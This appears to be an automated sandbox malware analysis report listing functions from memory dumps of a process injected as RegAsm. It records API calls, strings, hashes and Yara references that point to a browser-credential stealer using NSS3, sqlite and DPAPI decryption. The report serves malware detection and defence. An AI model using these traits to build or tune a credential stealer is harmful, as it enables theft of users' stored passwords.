Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: 4@$\*.*
API String ID: 2325840235-1993203227
Opcode ID: c58a056e60fc9d29371130ed8fc87327b631cf5620cd3b032d2e6af9d20713bf
Instruction ID: cfdc3591377451865113f0b5848cbea5bd15bf7eccde512516250cd90852f391
Opcode Fuzzy Hash: c58a056e60fc9d29371130ed8fc87327b631cf5620cd3b032d2e6af9d20713bf
Instruction Fuzzy Hash: 5CF1D0718111189ADB15FB61DD95EEE7338AF14314F8045EFA00A62091EF386BDACF69

Function 6C52A480 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 235COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C54C3A2,?,?,00000000,00000000), ref: 6C52A528
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011843,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C52A6E0
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C52A71B
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C52A738

Strings

%s at line %d of [%.10s], xrefs: 6C52A6D9
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C52A6CA
database corruption, xrefs: 6C52A6D4

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: _byteswap_ushort$_byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 622669576-598938438
Opcode ID: 8dd650983cbfcd51b4c93916e26a6bb3b4a0d138bfa826fa0864afbb8e599d64
Instruction ID: 339050de4f7d108b61082cab8bc594fbbb9ef4e119d959cd20f051cc4a68365c
Opcode Fuzzy Hash: 8dd650983cbfcd51b4c93916e26a6bb3b4a0d138bfa826fa0864afbb8e599d64
Instruction Fuzzy Hash: EF91D671A087518BCB14CF29C880A5AB7F1BF88314F554A5DE895CBBD2E778EC45C782

Function 6C504540 Relevance: 12.2, APIs: 8, Instructions: 170COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C504571
memset.VCRUNTIME140(?,00000000,00000000), ref: 6C5045B1
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C5045C2

Part of subcall function 6C5004C0: WaitForSingleObject.KERNEL32(ED850FC0,000000FF,?,00000000,?,6C50461B,-00000004), ref: 6C5004DF
Part of subcall function 6C5004C0: PR_SetError.NSS3(FFFFE89D,00000000,?,00000000,?,6C50461B,-00000004), ref: 6C500534

PR_Now.NSS3 ref: 6C504626

Part of subcall function 6C539DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C580A27), ref: 6C539DC6
Part of subcall function 6C539DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C580A27), ref: 6C539DD1
Part of subcall function 6C539DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C539DED

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C504634
memcmp.VCRUNTIME140(?,?,?,00000000,?,000F4240,00000000), ref: 6C5046C4
PR_SetError.NSS3(FFFFD05A,00000000,00000000,?,000F4240,00000000), ref: 6C5046E3
PR_SetError.NSS3(?,00000000), ref: 6C504722

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: ErrorTime$SystemUnothrow_t@std@@@__ehfuncinfo$??2@$FileObjectSingleValueWaitmemcmpmemcpymemset
String ID:
API String ID: 1183590942-0
Opcode ID: 12931442d3a248b3d06159230f30d0148de5ca72248b92df1b44957276c47f65
Instruction ID: 9e16a6275481027372cc43797c7dd20541676ce59d42fc41c57fe1af3a39f859
Opcode Fuzzy Hash: 12931442d3a248b3d06159230f30d0148de5ca72248b92df1b44957276c47f65
Instruction Fuzzy Hash: 9161AE71E006049FEB10CF68DC85B9AB7F1FF99308F554929E8459BA51E730F909CB84

Function 00416920 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 67timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(0042110C,?,?,00416B11,00000000,?,014FACF8,?,0042110C,?,00000000,?), ref: 0041696C
sscanf.NTDLL ref: 00416999
SystemTimeToFileTime.KERNEL32(0042110C,00000000,?,?,?,?,?,?,?,?,?,?,?,014FACF8,?,0042110C), ref: 004169B2
SystemTimeToFileTime.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,014FACF8,?,0042110C), ref: 004169C0
ExitProcess.KERNEL32 ref: 004169DA

Strings

B, xrefs: 004169C9

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Time$System$File$ExitProcesssscanf
String ID: B
API String ID: 2533653975-2248957098
Opcode ID: 30d4e03da22d085627275eeb363fd096e49a15e400c421c3cd1f95f2829e4b82
Instruction ID: bc3f4e88d18d0d52d27c53656958a280d832632e1993de176dacc6bdaed8f038
Opcode Fuzzy Hash: 30d4e03da22d085627275eeb363fd096e49a15e400c421c3cd1f95f2829e4b82
Instruction Fuzzy Hash: A421BAB5D14208AFDF04EFE4D9459EEB7B6FF48300F04852EE506A3250EB349645CB69

Function 00409AC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00404EEE,00000000,?), ref: 00409B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,N@,00000000,00000000), ref: 00409B2A
LocalFree.KERNEL32(?,?,?,?,00404EEE,00000000,?), ref: 00409B3F

Strings

N@, xrefs: 00409AD4, 00409AE1, 00409AF9, 00409B18, 00409AE4, 00409B1B

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: N@
API String ID: 4291131564-4229412743
Opcode ID: ac1203beb7ec4e86d603382bfe2e0b1b189ebd62ea0cb8a2a83c29bdd00d5e6f
Instruction ID: b446a55777cc1d1e4698a5b325ac1ac72e8f4b69ff9cac50ab15cfe2fa8c9284
Opcode Fuzzy Hash: ac1203beb7ec4e86d603382bfe2e0b1b189ebd62ea0cb8a2a83c29bdd00d5e6f
Instruction Fuzzy Hash: 4811A4B4240208BFEB10CFA4DC95FAA77B5FB89714F208059FA159B3D0C776A901CB54

Function 6C484420 Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?), ref: 6C484444
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C484466

Part of subcall function 6C4D1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C4788A4,00000000,00000000), ref: 6C4D1228
Part of subcall function 6C4D1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C4D1238
Part of subcall function 6C4D1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C4788A4,00000000,00000000), ref: 6C4D124B
Part of subcall function 6C4D1200: PR_CallOnce.NSS3(6C5D2AA4,6C4D12D0,00000000,00000000,00000000,?,6C4788A4,00000000,00000000), ref: 6C4D125D
Part of subcall function 6C4D1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C4D126F
Part of subcall function 6C4D1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C4D1280
Part of subcall function 6C4D1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C4D128E
Part of subcall function 6C4D1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C4D129A
Part of subcall function 6C4D1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C4D12A1

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C48447A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C48448A
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C484494

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: Util$Item_Zfree$ArenaCriticalFreePoolSectionfree$Arena_CallClearDeleteEnterOnceUnlockValuememset
String ID:
API String ID: 241050562-0
Opcode ID: c191f4763d8013777862d2a0fcc5229bbc1d89ad1e73e53a36f5c7d230122dc3
Instruction ID: ab54cba962204a21d6640a78984cd203fc9e999799c0623b2f872e5e29605a1c
Opcode Fuzzy Hash: c191f4763d8013777862d2a0fcc5229bbc1d89ad1e73e53a36f5c7d230122dc3
Instruction Fuzzy Hash: 171193B2D017049BE720CF659C81DA7B7F8FF596597044B2EEC8E52A00F371F5988691

Function 0041B33A Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041BBA2
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041BBB7
UnhandledExceptionFilter.KERNEL32(0041F2A8), ref: 0041BBC2
GetCurrentProcess.KERNEL32(C0000409), ref: 0041BBDE
TerminateProcess.KERNEL32(00000000), ref: 0041BBE5

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 1cd9910441f070b69687b64f652d04a4c8002016f1137d447a2cc91201b04508
Instruction ID: 2759986af63cf1bc905e0f8428f5e2b998159022a12c47e0d709fe691c65c3be
Opcode Fuzzy Hash: 1cd9910441f070b69687b64f652d04a4c8002016f1137d447a2cc91201b04508
Instruction Fuzzy Hash: E921A3BC9002059FDB10DF69FD89A963BE4FB0A314F50403AE90A87264DBB45981EF4D

Function 00407240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90), ref: 0040724D
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 00407254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00407281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000,?,?,?,?,?,00407C90,80000001,004161C4), ref: 004072A4
LocalFree.KERNEL32(?,?,?,?,?,?,00407C90,80000001,004161C4,?,?,?,?,?,00407C90,?), ref: 004072AE

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 3657800372-0
Opcode ID: 0aad0ca02a207947d5fd575ebfc9b9b208dd2f880e8fc230de4336e6f6e6e563
Instruction ID: ec186dc502c88c98e3638293fff085d95328f9e4ca1f8ca95b137b7d6c986ae9
Opcode Fuzzy Hash: 0aad0ca02a207947d5fd575ebfc9b9b208dd2f880e8fc230de4336e6f6e6e563
Instruction Fuzzy Hash: 900100B5A80208BBEB10DFD4DD45F9E77B9EB44704F104159FB05BA2C0D674AA018B66

Function 6C58CDC0 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 423stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C58D086
PR_Malloc.NSS3(00000001), ref: 6C58D0B9
PR_Free.NSS3(?), ref: 6C58D138

Strings

>, xrefs: 6C58CF5B

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: FreeMallocstrlen
String ID: >
API String ID: 1782319670-325317158
Opcode ID: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction ID: cef62ab82082335475fddaa55c317535556363524ee540be9272ef891a267cd6
Opcode Fuzzy Hash: 33f3c904727b78e6a3ccadd60312c31edcb67202b830285271c06c35c0548f6e
Instruction Fuzzy Hash: BAD16972B436774BFB14987D8CA13EA77D38B82374F58032AD5618BBE5E6199843C311

Function 6C40AC60 Relevance: 6.4, Strings: 5, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlock, xrefs: 6C40AE18
pXl, xrefs: 6C40ADA7
PXl, xrefs: 6C40ADDB, 6C40ADF5, 6C40AE6A
winUnlockReadLock, xrefs: 6C40AE9F
0Xl, xrefs: 6C40ACC0, 6C40AD22, 6C40AD5E, 6C40AE45

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID:
String ID: 0Xl$PXl$pXl$winUnlock$winUnlockReadLock
API String ID: 0-3763817051
Opcode ID: 7088ccc27fe90d5873726d3a5a5a4b48720be22450160c65cc62ec0d325483da
Instruction ID: 48ad99c0750d8f4597817bcaf4e03f55725078fa55e609bf122c209af3d47e92
Opcode Fuzzy Hash: 7088ccc27fe90d5873726d3a5a5a4b48720be22450160c65cc62ec0d325483da
Instruction Fuzzy Hash: D8717C716083409BDB14CF28DC85AAABBF5FF89314F15C62DE9499B301D730AA85CBC5

Function 6C52AD50 Relevance: 6.4, APIs: 4, Instructions: 389COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1cecf518bafca74904de9bd96cc99bef95e56c8a8cd82f5787ec9cfd917e542c
Instruction ID: 836ad96ea5a50c7fb4aef73dec1f33f11bb3a9e6d67852c1fda76f81721511e6
Opcode Fuzzy Hash: 1cecf518bafca74904de9bd96cc99bef95e56c8a8cd82f5787ec9cfd917e542c
Instruction Fuzzy Hash: 7BF1F671F016558FDB04CF69CC417AA77F1AB8A304F16422DC946EB780E7B8AA51CBC9

Function 6C4E0E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6C4E1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6C4E1086

Strings

h(Nl, xrefs: 6C4E0E55, 6C4E0EC4, 6C4E0F3A, 6C4E0FA7
h(Nl, xrefs: 6C4E1062, 6C4E105D, 6C4E0F37, 6C4E1081, 6C4E1082

Memory Dump Source

Source File: 00000003.00000002.1877996611.000000006C3F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3F0000, based on PE: true

Associated: 00000003.00000002.1877974283.000000006C3F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878726307.000000006C58F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878888191.000000006C5CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878917673.000000006C5CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878942083.000000006C5D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1878972917.000000006C5D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c3f0000_RegAsm.jbxd

Similarity

API ID: memcpymemset
String ID: h(Nl$h(Nl
API String ID: 1297977491-2521858428
Opcode ID: cce3d06f8a224ccd7c9337c3bcf761ff712d92238b615a7a4621d0531935bc33
Instruction ID: aa98a626c2bb445be70112d200948cd10a362eedee112c5164484828eb4b9570
Opcode Fuzzy Hash: cce3d06f8a224ccd7c9337c3bcf761ff712d92238b615a7a4621d0531935bc33
Instruction Fuzzy Hash: 9CA13C71B0125A9FCF08CF99C890EEEB7B6BF8C315B158169E915A7701DB35AC11CBA0

Function 00418EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00405184,40000001,00000000,00000000,?,00405184), ref: 00418EC0

Memory Dump Source

Source File: 00000003.00000002.1849158953.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.1849158953.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.1849158953.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
